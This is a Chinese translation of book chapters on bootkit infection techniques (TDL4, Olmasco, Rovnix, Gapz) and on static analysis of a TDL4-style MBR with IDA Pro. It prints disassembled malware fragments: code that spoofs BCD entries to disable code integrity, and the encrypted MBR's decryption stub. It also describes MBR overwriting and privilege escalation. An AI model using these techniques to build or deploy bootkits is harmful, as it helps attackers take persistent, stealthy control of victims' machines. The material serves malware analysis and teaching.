本章概述了代码完整性保护的演变。启动过程的安全性是防御操作系统免受恶意软件攻击的最重要前沿。ELAM 和代码完整性保护是强大的安全功能,可以限制平台上不受信任代码的执行。

Windows 10 将启动过程的安全性提升到了一个新的水平,通过使用 VSM 将 HVCI 组件与操作系统内核隔离,防止了代码完整性绕过。然而,如果没有启用安全启动机制,启动病毒可以在系统加载前攻击系统,从而绕过这些保护措施。在接下来的章节中,我们将更详细地讨论安全启动以及设计用于规避它的 BIOS 攻击。

第七章:引导病毒感染技术

Image

在探索了 Windows 启动过程后,我们接下来讨论一下针对系统启动过程中涉及的模块的引导病毒感染技术。这些技术根据其目标启动组件的不同,分为两类:MBR 感染技术和 VBR/初始程序加载器(IPL)感染技术。我们将通过分析 TDL4 引导病毒来展示 MBR 感染技术,再通过分析 Rovnix 和 Gapz 引导病毒来展示两种不同的 VBR 感染技术。

MBR 感染技术

基于 MBR 修改的方法是引导病毒攻击 Windows 启动过程时最常见的感染技术。大多数 MBR 感染技术直接修改 MBR 代码或 MBR 数据(如分区表),或者在某些情况下,二者都修改。

MBR 代码修改仅更改MBR 引导代码,而保持分区表不变。这是最直接的感染方法。它通过将恶意代码覆盖系统 MBR 代码,同时以某种方式保存 MBR 的原始内容,例如将其存储在硬盘上的隐藏位置。

相反,MBR 数据修改方法涉及改变 MBR 分区表,而不改变 MBR 引导代码。由于分区表的内容因系统而异,这种方法更为先进,因为这使得分析人员很难找到可以明确识别感染的模式。

最后,结合这两种技术的混合方法也是可能的,并且在实际应用中已有使用。

接下来,我们将更详细地分析两种 MBR 感染技术。

MBR 代码修改:TDL4 感染技术

为了说明 MBR 代码修改感染技术,我们将深入分析第一个真正针对 Microsoft Windows 64 位平台的引导病毒:TDL4。TDL4 延续了其前代 rootkit TDL3(在第一章中讨论过)那些广为人知的先进规避和反取证技术,并且具有绕过内核模式代码签名策略(在第六章中讨论)并感染 64 位 Windows 系统的能力。

在 32 位系统中,TDL3 rootkit 能够通过修改引导启动的内核模式驱动程序,在系统重启后仍能保持持久性。然而,在 64 位系统中引入的强制签名检查防止了感染的驱动程序被加载,从而使得 TDL3 失效。

为了绕过 64 位的 Microsoft Windows,TDL3 的开发者将感染点移至启动过程的更早阶段,实施了引导病毒作为一种持久性手段。因此,TDL3 rootkit 演变为 TDL4 引导病毒。

感染系统

TDL4 通过将启动硬盘的 MBR 覆盖为恶意 MBR 来感染系统(正如我们所讨论的,它会在 Windows 内核镜像之前执行),因此它能够篡改内核镜像并禁用完整性检查。(其他基于 MBR 的引导程序将在第十章中详细描述。)

与 TDL3 类似,TDL4 在硬盘的末尾创建了一个隐藏的存储区域,向其中写入了原始的 MBR 以及一些自己的模块,具体见表 7-1。TDL4 存储原始 MBR,以便在感染发生后能够重新加载,并且系统看似会正常启动。引导程序在启动时使用mbrldr16ldr32ldr64模块来绕过 Windows 完整性检查,并最终加载未签名的恶意驱动程序。

表 7-1: TDL4 感染系统时写入隐藏存储的模块

模块名称 描述
mbr 感染硬盘启动扇区的原始内容
ldr16 16 位实模式加载程序代码
ldr32 伪造的x86 系统上的 kdcom.dll
ldr64 伪造的x64 系统上的 kdcom.dll
drv32 x86 系统的主要引导程序驱动程序
drv64 x64 系统的主要引导程序驱动程序
cmd.dll 注入到 32 位进程中的有效负载
cmd64.dll 注入到 64 位进程中的有效负载
cfg.ini 配置信息
bckfg.tmp 加密的命令与控制(C&C)URL 列表

TDL4 通过直接向硬盘迷你端口驱动程序发送 I/O 控制代码IOCTL_SCSI_PASS_THROUGH_DIRECT请求来向硬盘写入数据,这个驱动程序是硬盘驱动堆栈中的最低层驱动程序。这使得 TDL4 能够绕过标准的过滤内核驱动程序及其可能包含的任何防御措施。TDL4 使用DeviceIoControl API 发送这些控制代码请求,传递第一个参数为打开的符号链接??\PhysicalDriveXX的句柄,其中XX是正在感染的硬盘编号。

打开此句柄并进行写访问需要管理员权限,因此 TDL4 利用 Windows 任务计划程序服务中的 MS10-092 漏洞(首次出现在 Stuxnet 中)来提升其权限。简而言之,此漏洞允许攻击者对特定任务进行未经授权的权限提升。为了获取管理员权限,TDL4 注册一个任务,让 Windows 任务计划程序使用当前权限执行该任务。恶意软件修改了计划任务的 XML 文件,使其以本地系统帐户运行,该帐户包括管理员权限,并确保修改后的 XML 文件的校验和与之前相同。这样,任务计划程序会被欺骗,按照本地系统而不是正常用户的身份来运行任务,从而使 TDL4 成功感染系统。

通过这种方式写入数据,恶意软件能够绕过在文件系统层面实现的防御工具,因为 I/O 请求包(IRP),描述 I/O 操作的数据结构,直接传递到磁盘类驱动程序处理程序。

一旦所有组件安装完成,TDL4 通过执行 NtRaiseHardError 本地 API(如 列表 7-1 中所示)强制系统重启。

NTSYSAPI

NTSTATUS

NTAPI

NtRaiseHardError(

      IN NTSTATUS ErrorStatus,

      IN ULONG NumberOfParameters,

      IN PUNICODE_STRING UnicodeStringParameterMask OPTIONAL,

      IN PVOID *Parameters,

    ➊ IN HARDERROR_RESPONSE_OPTION ResponseOption,

      OUT PHARDERROR_RESPONSE Response

);

列表 7-1:NtRaiseHardError 例程的原型

代码将 OptionShutdownSystem ➊ 作为其第五个参数传递,这会将系统置于 蓝屏死机(BSoD) 状态。BSoD 会自动重启系统,并确保在下次启动时加载根工具包模块,而不会提醒用户感染(系统看起来像是简单崩溃了)。

绕过 TDL4 感染系统启动过程中的安全性

图 7-1 显示了感染了 TDL4 的机器的启动过程。该图表展示了恶意软件绕过代码完整性检查并将其组件加载到系统中的高层次步骤。

image

图 7-1:TDL4 启动工具包启动过程工作流

在蓝屏死机(BSoD)和随后的系统重启之后,BIOS 将感染的 MBR 读入内存并执行,加载启动工具包的第一部分(图 7-1 中的➊)。接下来,感染的 MBR 在可启动硬盘的末尾定位启动工具包的文件系统,并加载并执行一个名为 ldr16 的模块。ldr16 模块包含负责挂钩 BIOS 13h 中断处理程序(磁盘服务)、重新加载原始 MBR(图 7-1 中的➋和➌),并将执行权转交给它的代码。这样,启动过程可以继续正常进行,但现在带有挂钩的 13h 中断处理程序。原始的 MBR 存储在隐藏文件系统中的 mbr 模块中(见 表 7-1)。

BIOS 中断 13h 服务提供了在预启动环境中执行磁盘 I/O 操作的接口。这非常关键,因为在启动过程的最初阶段,操作系统中的存储设备驱动尚未加载,而标准的启动组件(即 bootmgrwinload.exewinresume.exe)依赖于 13h 服务从硬盘读取系统组件。

一旦控制权转交给原始的 MBR,启动过程照常进行,加载 VBR 和 bootmgr(图 7-1 中的➍和➎),但现在驻留在内存中的启动工具包控制着所有从硬盘到系统的 I/O 操作。

ldr16中最有趣的部分在于它实现了 13h 磁盘服务中断处理程序的钩子。启动过程中读取硬盘数据的代码依赖于 BIOS 的 13h 中断处理程序,而现在这一处理程序被 bootkit 所拦截,这意味着 bootkit 可以伪造从硬盘读取的任何数据。bootkit 利用这一能力,通过用ldr32ldr64 ➑(取决于操作系统)替换kdcom.dll库,这些库来自隐藏的文件系统,在读取操作时将其内容替换到内存缓冲区中。正如我们很快会看到的,替换kdcom.dll为恶意的动态链接库(DLL)使得 bootkit 能够加载自己的驱动程序,同时禁用内核模式调试功能。

竞争底层

在劫持 BIOS 的磁盘中断处理程序时,TDL4 采用了类似 rootkit 的策略,rootkit 通常会沿着服务接口栈向下迁移。一般来说,越深层的入侵者越能成功。因此,一些防御软件有时会与其他防御软件争夺控制栈底层的权限!这种使用与 rootkit 技术难以区分的技术来挂钩 Windows 系统底层的竞争,导致了系统稳定性的问题。对此问题的详细分析已经在Uninformed期刊的两篇文章中发表。^(1)

  1. skape, “他们在想什么?由不安全假设引起的烦恼,”Uninformed 1(2005 年 5 月),www.uninformed.org/?v=1&a=5&t=pdf; Skywing, “他们在想什么?反病毒软件的失败,”Uninformed 4(2006 年 6 月),www.uninformed.org/?v=4&a=4&t=pdf

为了符合 Windows 内核与串行调试器之间通信所使用接口的要求,模块ldr32ldr64(取决于操作系统)导出了与原始kdcom.dll库相同的符号(如 Listing 7-2 所示)。

Name                   Address           Ordinal

KdD0Transition         000007FF70451014  1

KdD3Transition         000007FF70451014  2

KdDebuggerInitialize0  000007FF70451020  3

KdDebuggerInitialize1  000007FF70451104  4

KdReceivePacket        000007FF70451228  5

KdReserved0            000007FF70451008  6

KdRestore              000007FF70451158  7

KdSave                 000007FF70451144  8

KdSendPacket           000007FF70451608  9

Listing 7-2:ldr32/ldr64 的导出地址表

从恶意版本的kdcom.dll导出的多数功能除了返回0外什么都不做,只有KdDebuggerInitialize1函数在 Windows 内核映像的内核初始化过程中被调用(见 Figure 7-1 中的➒)。这个函数包含加载 bootkit 驱动程序的代码。它调用PsSetCreateThreadNotifyRoutine来注册回调函数CreateThreadNotifyRoutine,每当创建或销毁一个线程时触发该回调;当回调被触发时,它会创建一个恶意的DRIVER_OBJECT来挂钩系统事件,并等待硬盘设备的驱动栈在启动过程中构建完成。

一旦磁盘类驱动程序加载完成,bootkit 就可以访问存储在硬盘上的数据,因此它会从隐藏的文件系统中加载它替换了kdcom.dll库的drv32drv64模块中的内核模式驱动程序,并调用该驱动程序的入口点。

禁用代码完整性检查

为了将 Windows Vista 及以后版本中kdcom.dll的原始版本替换为恶意 DLL,恶意软件需要禁用内核模式代码完整性检查,如前所述(为了避免被检测,它只会暂时禁用检查)。如果检查没有被禁用,winload.exe将报告错误并拒绝继续启动过程。

bootkit 通过告诉winload.exe以预安装模式加载内核(参见《遗留代码完整性弱点》在第 74 页),来关闭代码完整性检查,该模式下没有启用检查。winload.exe模块通过将BcdLibraryBoolean_EmsEnabled元素(在启动配置数据(BCD)中编码为16000020)替换为BcdOSLoaderBoolean_WinPEMode(在 BCD 中编码为26000022;见图 7-1 中的➏)来完成此操作,当bootmgr从硬盘读取 BCD 时,使用与 TDL4 伪造kdcom.dll相同的方法。(BcdLibraryBoolean_EmsEnabled是一个可继承对象,指示是否应启用全局紧急管理服务重定向,默认设置为TRUE。)列表 7-3 展示了ldr16中实现的伪造BcdLibraryBoolean_EmsEnabled选项的汇编代码➊ ➋ ➌。

seg000:02E4   cmp     dword ptr es:[bx], '0061'     ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:02EC   jnz     short loc_30A                 ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:02EE   cmp     dword ptr es:[bx+4], '0200'   ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:02F7   jnz     short loc_30A                 ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:02F9 ➊ mov     dword ptr es:[bx], '0062'     ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:0301 ➋ mov     dword ptr es:[bx+4], '2200'   ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:030A   cmp     dword ptr es:[bx], 1666Ch     ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:0312   jnz     short loc_328                 ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:0314   cmp     dword ptr es:[bx+8], '0061'   ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:031D   jnz     short loc_328                 ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:031F ➌ mov     dword ptr es:[bx+8], '0062'   ; spoofing BcdLibraryBoolean_EmsEnabled

seg000:0328   cmp     dword ptr es:[bx], 'NIM/'     ; spoofing /MININT

seg000:0330   jnz     short loc_33A                 ; spoofing /MININT

seg000:0332 ➍ mov     dword ptr es:[bx], 'M/NI'     ; spoofing /MININT

列表 7-3: ldr16 代码的一部分,负责伪造BcdLibraryBoolean_EmsEnabled/MININT选项

接下来,bootkit 会开启预安装模式,足够长的时间来加载恶意版本的kdcom.dll。一旦加载完成,恶意软件会禁用预安装模式,就像从未启用过一样,以便清除系统中的任何痕迹。请注意,攻击者只能在预安装模式开启时禁用它——通过在从硬盘读取winload.exe映像时破坏/MININT字符串选项 ➍(参见图 7-1 中的➐)。在初始化过程中,内核会从winload.exe接收一组参数,以启用特定选项并指定启动环境的特性,例如系统中的处理器数量、是否以预安装模式启动以及是否在启动时显示进度指示器。由字符串字面值描述的参数存储在winload.exe中。

winload.exe映像使用/MININT选项通知内核预安装模式已启用,然而,由于恶意软件的操控,内核接收到一个无效的/MININT选项,并继续初始化,就好像预安装模式没有启用一样。这是引导工具感染过程中的最后一步(见图 7-1 中的➓)。恶意的内核模式驱动程序成功加载到操作系统中,绕过了代码完整性检查。

加密恶意 MBR 代码

清单 7-4 展示了 TDL4 引导工具中恶意 MBR 代码的一部分。注意,恶意代码从➌开始被加密,以避免通过静态分析检测,静态分析依赖静态签名。

seg000:0000       xor     ax, ax

seg000:0002       mov     ss, ax

seg000:0004       mov     sp, 7C00h

seg000:0007       mov     es, ax

seg000:0009       mov     ds, ax

seg000:000B       sti

seg000:000C       pusha

seg000:000D ➊    mov     cx, 0CFh        ;size of decrypted data

seg000:0010       mov     bp, 7C19h       ;offset to encrypted data

seg000:0013

seg000:0013 decrypt_routine:

seg000:0013 ➋    ror     byte ptr [bp+0], cl

seg000:0016       inc     bp

seg000:0017       loop    decrypt_routine

seg000:0017 ; -------------------------------------------------------------

seg000:0019 ➌ db 44h                     ;beginning of encrypted data

seg000:001A    db 85h

seg000:001C    db 0C7h

seg000:001D    db 1Ch

seg000:001E    db 0B8h

seg000:001F    db 26h

seg000:0020    db 04h

seg000:0021    --snip--

清单 7-4:TDL4 解密恶意 MBR 的代码

寄存器cxbp ➊分别初始化为加密代码的大小和偏移量。cx寄存器的值作为循环中的计数器 ➋,执行按位逻辑操作ror(右旋指令)以解密代码(由➌标记并由bp寄存器指向)。一旦解密,代码将挂钩 INT 13h 处理程序,修补其他操作系统模块,以禁用操作系统的代码完整性验证并加载恶意驱动程序。

MBR 分区表修改

TDL4 的一个变种,称为 Olmasco,展示了另一种 MBR 感染方式:修改分区表,而不是 MBR 代码。Olmasco 首先在可引导硬盘的末尾创建一个未分配的分区,然后通过修改 MBR 分区表中的空闲分区表条目#2,在同一位置创建一个隐藏分区(见图 7-2)。

这种感染方式之所以可能,是因为 MBR 包含一个分区表,其中的条目从偏移 0x1BE 开始,包含四个 16 字节的条目,每个条目描述硬盘上的一个分区(MBR_PARTITION_TABLE_ENTRY数组在清单 5-2 中有展示)。因此,硬盘最多可以有四个主分区,并且只有一个被标记为活动分区。操作系统从活动分区启动。Olmasco 会用其恶意分区的参数覆盖分区表中的一个空条目,标记该分区为活动分区,并初始化新创建分区的 VBR。(第十章提供了更多关于 Olmasco 感染机制的细节。)

image

图 7-2:Olmasco 的 MBR 分区表修改

VBR/IPL 感染技术

有时安全软件只检查 MBR 上的未经授权的修改,而忽略了 VBR 和 IPL 的检查。VBR/IPL 感染者,如最初的 VBR 引导工具,利用这一点来提高保持未被检测到的机会。

所有已知的 VBR 感染技术可分为两类:IPL 修改(如 Rovnix bootkit)和 BIOS 参数块(BPB)修改(如 Gapz bootkit)。

IPL 修改:Rovnix

考虑一下 Rovnix bootkit 的 IPL 修改感染技术。Rovnix 并不覆盖 MBR 扇区,而是修改可启动硬盘的活动分区上的 IPL 和 NTFS 引导代码。如图 7-3 所示,Rovnix 读取紧随 VBR 之后的 15 个扇区(其中包含 IPL),对其进行压缩,在前面插入恶意引导代码,然后将修改后的代码写回这 15 个扇区。因此,在下次系统启动时,恶意引导代码获得控制权。

当恶意引导代码被执行时,它会挂钩 INT 13h 处理程序,以便修补bootmgrwinload.exe和内核,从而一旦引导加载程序组件加载,它就能获得控制权。最后,Rovnix 解压缩原始 IPL 代码并将控制权交还给它。

Rovnix bootkit 遵循操作系统的执行流程,从启动到处理器执行模式切换,直到加载内核。此外,Rovnix 通过使用调试寄存器DR0DR7(这是 x86 和 x64 架构的关键部分),在内核初始化期间保持控制,并加载其自身的恶意驱动程序,从而绕过内核模式代码完整性检查。这些调试寄存器允许恶意软件在不实际修补系统代码的情况下设置钩子,从而保持被钩住的代码的完整性。

image

图 7-3:Rovnix 的 IPL 修改

Rovnix 引导代码与操作系统的引导加载程序组件紧密协作,并且在很大程度上依赖于它们的平台调试设施和二进制表示形式。(我们将在第十一章中更详细地讨论 Rovnix。)

VBR 感染:Gapz

Gapz bootkit 感染的是活动分区的 VBR,而不是 IPL。Gapz 是一个非常隐蔽的 bootkit,因为它只感染了原始 VBR 的几个字节,修改了HiddenSectors字段(见清单 5-3 在第 63 页),并且保持 VBR 和 IPL 中的所有其他数据和代码不变。

在 Gapz 的案例中,最有趣的分析模块是 BPB(BIOS_PARAMETER_BLOCK),特别是它的HiddenSectors字段。该字段中的值指定了在 IPL 之前存储在 NTFS 卷上的扇区数量,如图 7-4 所示。

image

图 7-4:IPL 的位置

Gapz 通过覆盖HiddenSectors字段,将硬盘上存储的恶意启动引导程序代码的扇区偏移量值写入其中,如图 7-5 所示。当 VBR 代码再次运行时,它会加载并执行启动引导程序代码,而不是合法的 IPL。Gapz 启动引导程序镜像被写入硬盘的第一个分区之前或最后一个分区之后。(我们将在第十二章中更详细地讨论 Gapz。)

image

图 7-5:Gapz VBR 感染

结论

在本章中,你了解了 MBR 和 VBR 启动引导程序的感染技术。我们跟踪了高级 TDL3 根套件的演变,直到现代的 TDL4 启动引导程序,你看到 TDL4 如何控制系统启动,通过用恶意代码替换 MBR 来感染它。正如你所看到的,微软 64 位操作系统中的完整性保护(特别是内核模式代码签名策略)启动了一场新的启动引导程序开发竞赛,目标是 x64 平台。TDL4 是第一个在野外成功克服这一障碍的启动引导程序,它采用了一些设计特点,这些特点后来被其他启动引导程序采纳。我们还看了 VBR 感染技术,具体由 Rovnix 和 Gapz 启动引导程序展示,这两个启动引导程序分别是第十一章和第十二章的主题。

第八章:使用 IDA PRO 进行 BOOTKIT 静态分析

Image

本章介绍了使用 IDA Pro 进行 bootkit 静态分析的基本概念。反向工程 bootkit 有几种方法,涵盖所有现有方法需要一本专门的书。本章重点介绍 IDA Pro 反汇编器,因为它提供了独特的功能,能够支持 bootkit 的静态分析。

静态分析 bootkit 与大多数常规应用环境中的逆向工程截然不同,因为 bootkit 的关键部分在预启动环境中执行。例如,典型的 Windows 应用程序依赖于标准的 Windows 库,并且预期调用已知的标准库函数,这些函数是像 Hex-Rays IDA Pro 这样的逆向工程工具所熟悉的。通过应用程序调用的函数,我们可以推断出很多信息;Linux 应用程序与 POSIX 系统调用也是如此。但预启动环境缺乏这些提示,因此预启动分析工具需要额外的功能来弥补这些缺失的信息。幸运的是,这些功能在 IDA Pro 中可用,本章将解释如何使用它们。

正如在第七章中讨论的那样,bootkit 由几个紧密关联的模块组成:主引导记录(MBR)或卷引导记录(VBR)感染者、恶意引导加载程序、内核模式驱动程序等。本章将讨论 bootkit MBR 和合法操作系统 VBR 的分析,您可以将其作为反向工程任何在预启动环境中执行的代码的模型。您可以从本书的下载资源中获取您将要使用的 MBR 和 VBR。在本章结束时,我们将讨论如何处理其他 bootkit 组件,如恶意引导加载程序和内核模式驱动程序。如果您还没有学习第七章,现在应该去学习。

首先,我们将展示如何开始进行 bootkit 分析;您将了解在 IDA Pro 中使用哪些选项将代码加载到反汇编器中、预启动环境中使用的 API、不同模块之间如何传递控制以及哪些 IDA 功能可能简化它们的反向工程。然后,您将学习如何为 IDA Pro 开发自定义加载器,以自动化反向工程任务。最后,我们提供了一组练习,帮助您进一步探索 bootkit 静态分析。您可以从 nostarch.com/rootkits/ 下载本章的材料。

分析 Bootkit MBR

首先,我们将在 IDA Pro 反汇编器中分析一个引导木马 MBR。本章使用的 MBR 类似于 TDL4 引导木马创建的 MBR(参见第七章)。TDL4 的 MBR 是一个很好的例子,因为它实现了传统的引导木马功能,但其代码易于反汇编和理解。本章中的 VBR 例子基于一个来自实际 Microsoft Windows 卷的合法代码。

加载并解密 MBR

在接下来的章节中,你将把 MBR 加载到 IDA Pro 中,并分析 MBR 代码的入口点。然后,你将解密代码,并检查 MBR 如何管理内存。

将 MBR 加载到 IDA Pro 中

引导木马 MBR 的静态分析的第一步是将 MBR 代码加载到 IDA 中。因为 MBR 不是一个传统的可执行文件,并且没有专用的加载器,你需要将它作为一个二进制模块加载。IDA Pro 会像 BIOS 一样,将 MBR 加载到内存中作为一个连续的单一段落,而不会进行任何额外处理。你只需要提供该段的起始内存地址。

通过 IDA Pro 打开二进制文件加载 MBR。当 IDA Pro 第一次加载 MBR 时,它会显示一条消息,提供各种选项,如图 8-1 所示。

image

图 8-1:加载 MBR 时显示的 IDA Pro 对话框

你可以接受大多数参数的默认值,但需要在加载偏移字段➊中输入一个值,该字段指定将模块加载到内存中的位置。这个值应该始终是 0x7C00——这是 BIOS 启动代码将 MBR 加载到的固定地址。输入完这个偏移量后,点击确定。IDA Pro 加载模块后,会提供选项让你选择以 16 位或 32 位模式反汇编模块,如图 8-2 所示。

image

图 8-2:IDA Pro 对话框询问你选择哪个反汇编模式

对于这个例子,选择。这会指示 IDA 将 MBR 反汇编为 16 位实模式代码,这正是实际 CPU 在启动过程中最初阶段解码 MBR 的方式。

由于 IDA Pro 将反汇编的结果存储在扩展名为idb的数据库文件中,从现在开始,我们将其反汇编结果称为数据库。IDA 使用这个数据库来收集你通过 GUI 操作和 IDA 脚本提供的所有代码注释。你可以将这个数据库视为所有 IDA 脚本函数的隐式参数,它代表了你对 IDA 能作用的二进制文件所获得的逆向工程知识的当前状态。

如果你没有任何数据库经验,别担心:IDA 的接口设计使得你无需了解数据库内部结构。然而,理解 IDA 如何表示它所学到的代码知识确实非常有帮助。

分析 MBR 的入口点

当 BIOS 在启动时加载时,经过感染的引导工具修改后的 MBR 从其第一个字节开始执行。我们将其加载地址指定给 IDA 的反汇编器为 0:7C00h,这是 BIOS 加载它的地方。列表 8-1 显示了加载的 MBR 映像的前几个字节。

seg000:7C00 ; Segment type: Pure code

seg000:7C00 seg000          segment byte public 'CODE' use16

seg000:7C00                 assume cs:seg000

seg000:7C00                 ;org 7C00h

seg000:7C00                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing

seg000:7C00                 xor     ax, ax

seg000:7C02               ➊ mov     ss, ax

seg000:7C04                 mov     sp, 7C00h

seg000:7C07                 mov     es, ax

seg000:7C09                 mov     ds, ax

seg000:7C0B                 sti

seg000:7C0C                 pusha

seg000:7C0D                 mov     cx, 0CFh

seg000:7C10                 mov     bp, 7C19h

seg000:7C13

seg000:7C13 loc_7C13:                               ; CODE XREF: seg000:7C17

seg000:7C13               ➋ ror     byte ptr [bp+0], cl

seg000:7C16                 inc     bp

seg000:7C17                 loop    loc_7C13

seg000:7C17 ; ---------------------------------------------------------------------------

seg000:7C19 encrypted_code  db 44h, 85h, 1Dh, 0C7h, 1Ch, 0B8h, 26h, 4, 8, 68h, 62h

seg000:7C19               ➌ db 40h, 0Eh, 83h, 0Ch, 0A3h, 0B1h, 1Fh, 96h, 84h, 0F5h

列表 8-1:MBR 的入口点

我们在早期看到初始化存根 ➊,它设置了堆栈段选择符 ss、堆栈指针 sp 和段选择符寄存器 esds,以便访问内存并执行子程序。初始化存根之后是一个解密例程 ➋,它通过逐字节旋转位(使用 ror 指令)来解密剩余的 MBR ➌,然后将控制权传递给解密后的代码。加密数据的大小由 cx 寄存器给出,而 bp 寄存器指向该数据块。这种临时加密旨在阻碍静态分析并避免被安全软件检测到。它还给我们带来了第一个障碍,因为我们现在需要提取实际代码以继续分析。

解密 MBR 代码

为了继续分析加密的 MBR,我们需要解密代码。由于有了 IDA 脚本引擎,你可以轻松地使用列表 8-2 中的 Python 脚本完成这个任务。

➊ import idaapi

   # beginning of the encrypted code and its size in memory

   start_ea = 0x7C19

   encr_size = 0xCF

➋ for ix in xrange(encr_size):

  ➌ byte_to_decr = idaapi.get_byte(start_ea + ix)

     to_rotate = (0xCF - ix) % 8

     byte_decr = (byte_to_decr >> to_rotate) | (byte_to_decr << (8 - to_rotate))

  ➍ idaapi.patch_byte(start_ea + ix, byte_decr)

列表 8-2:解密 MBR 代码的 Python 脚本

首先,我们导入 idaapi 包 ➊,它包含了 IDA API 库。然后我们循环遍历并解密加密的字节 ➋。为了从反汇编段中获取字节,我们使用 get_byte API ➌,它只接受一个参数:要读取的字节的地址。一旦字节解密完成,我们使用 patch_byte API 将字节写回反汇编区域 ➍,该 API 接受要修改的字节的地址和要写入的值。你可以通过选择 文件脚本 从 IDA 菜单中执行此脚本,或按 ALT-F7。

注意

此脚本并不会修改 MBR 的实际映像,而是修改其在 IDA 中的表示——即 IDA 对加载代码执行时的预期样子。在对反汇编代码进行任何修改之前,你应该先创建 IDA 数据库当前版本的备份。这样,如果修改 MBR 代码的脚本有 bug 并扭曲了代码,你就可以轻松恢复最近的版本。

实模式下的内存管理分析

解密了代码后,让我们继续分析它。如果你查看解密后的代码,你会发现列表 8-3 中显示的指令。这些指令通过存储 MBR 输入参数和内存分配来初始化恶意代码。

seg000:7C19               ➊ mov     ds:drive_no, dl

seg000:7C1D               ➋ sub     word ptr ds:413h, 10h

seg000:7C22                 mov     ax, ds:413h

seg000:7C25                 shl     ax, 6

seg000:7C28               ➌ mov     ds:buffer_segm, ax

列表 8-3:预启动环境中的内存分配

dl 寄存器的内容存储到内存中的汇编指令位于 ds 段的一个偏移量 ➊ 处。从我们分析这种代码的经验来看,我们可以猜测 dl 寄存器包含执行 MBR 的硬盘编号;我们将这个偏移量注释为名为 drive_no 的变量。IDA Pro 会在数据库中记录这一注释并在清单中显示。当执行 I/O 操作时,您可以使用这个整数索引来区分系统中不同的磁盘。您将在下一节的 BIOS 磁盘服务中使用这个变量。

类似地,清单 8-3 显示了注释buffer_segm ➌,这是代码分配缓冲区的偏移量。IDA Pro 会将这些注释传播到使用相同变量的其他代码中。

在➋处,我们看到内存分配。在预启动环境中,并没有现代操作系统那种内存管理器的概念,比如支持malloc()调用的操作系统逻辑。相反,BIOS 通过一个(在 x86 架构中为 16 位值)维护可用内存的千字节数,该字存储在地址 0:413h 处。为了分配 X KB 的内存,我们从可用内存的总大小中减去 X,这个总大小存储在 0:413h 处的字中,如图 8-3 所示。

image

图 8-3:预启动环境中的内存管理

在清单 8-3 中,代码通过从总可用内存中减去 10h 来分配一个 10KB 的缓冲区。实际的地址存储在变量buffer_segm ➌中。MBR 然后使用分配的缓冲区来存储从硬盘读取的数据。

分析 BIOS 磁盘服务

预启动环境的另一个独特方面是 BIOS 磁盘服务,它是用于与硬盘通信的 API。在引导包分析中,这个 API 特别值得关注,原因有二。首先,引导包使用它从硬盘读取数据,因此熟悉该 API 最常用的命令对于理解引导包代码至关重要。其次,BIOS 磁盘服务本身也是引导包的常见目标。在最常见的情况下,引导包会挂钩该 API,从而修补通过其他代码在引导过程中从硬盘读取的合法模块。

BIOS 磁盘服务可以通过 INT 13h 指令访问。为了执行 I/O 操作,软件通过处理器寄存器传递 I/O 参数,并执行 INT 13h 指令,这会将控制权转交给适当的处理程序。I/O 操作码或标识符被传递到ah寄存器——ax寄存器的高位部分。dl寄存器用于传递目标磁盘的索引。处理器的进位标志(CF)用于指示在执行服务时是否发生错误:如果CF被设置为1,则表示发生了错误,详细的错误代码将返回在ah寄存器中。这种通过函数传递参数的 BIOS 约定早于现代操作系统的系统调用约定;如果它看起来有些复杂,请记住,这就是统一系统调用接口概念的起源地。

这个 INT 13h 中断是进入 BIOS 磁盘服务的入口点,它允许在预引导环境中的软件对磁盘设备执行基本的 I/O 操作,如硬盘、软盘和光盘驱动器,具体如表 8-1 所示。

表 8-1: INT 13h 命令

操作码 操作描述
2h 读取扇区到内存
3h 写入磁盘扇区
8h 获取驱动器参数
41h 扩展安装检查
42h 扩展读取
43h 扩展写入
48h 扩展获取驱动器参数

表 8-1 中的操作分为两组:第一组(包含代码 41h、42h、43h 和 48h)为扩展操作,第二组(包含代码 2h、3h 和 8h)为传统操作

两组操作之间唯一的区别是,扩展操作可以使用基于逻辑块寻址(LBA)的寻址方案,而传统操作则仅依赖基于柱面-磁头-扇区(CHS)的寻址方案。在 LBA 寻址方案中,磁盘上的扇区按顺序从索引0开始枚举,而在 CHS 寻址方案中,每个扇区都使用元组(c,h,s)进行寻址,其中c是柱面号,h是磁头号,s是扇区号。尽管引导工具可能使用任一组操作,但几乎所有现代硬件都支持基于 LBA 的寻址方案。

获取驱动器参数以定位隐藏存储

当你继续查看跟随在 10KB 内存分配后的 MBR 代码时,你应该会看到执行 INT 13h 指令,如示例 8-4 所示。

seg000:7C2B               ➊ mov     ah, 48h

seg000:7C2D               ➋ mov     si, 7CF9h

seg000:7C30                 mov     ds:drive_param.bResultSize, 1Eh

seg000:7C36                 int     13h         ; DISK - IBM/MS Extension

                                             ➌ ; GET DRIVE PARAMETERS

                                                ; (DL - drive, DS:SI - buffer)

示例 8-4:通过 BIOS 磁盘服务获取驱动器参数

由于 MBR 的大小(512 字节)限制了其可以实现的代码功能,因此启动工具会加载额外的代码进行执行,这段代码称为恶意引导加载程序,它被放置在硬盘末尾的隐藏存储中。为了获取硬盘上隐藏存储的坐标,MBR 代码使用扩展的“获取驱动器参数”操作(操作码 48h,在表 8-1 中),该操作返回硬盘的大小和几何信息。通过这些信息,启动工具可以计算出额外代码在硬盘上的偏移位置。

在清单 8-4 中,你可以看到 IDA Pro 为指令 INT 13h ➌自动生成的注释。在代码分析过程中,IDA Pro 识别传递给 BIOS 磁盘服务处理程序的参数,并生成带有请求的磁盘 I/O 操作名称和用于传递参数给 BIOS 处理程序的寄存器名称的注释。这段 MBR 代码执行 INT 13h 操作,并使用参数48h ➊。执行后,这个例程会填充一个名为EXTENDED_GET_PARAMS的特殊结构,该结构提供驱动器参数。该结构的地址存储在si寄存器中 ➋。

检查 EXTENDED_GET_PARAMS

EXTENDED_GET_PARAMS路由在清单 8-5 中提供。

typedef struct _EXTENDED_GET_PARAMS {

   WORD bResultSize;             // Size of the result

   WORD InfoFlags;               // Information flags

   DWORD CylNumber;              // Number of physical cylinders on drive

   DWORD HeadNumber;             // Number of physical heads on drive

   DWORD SectorsPerTrack;        // Number of sectors per track

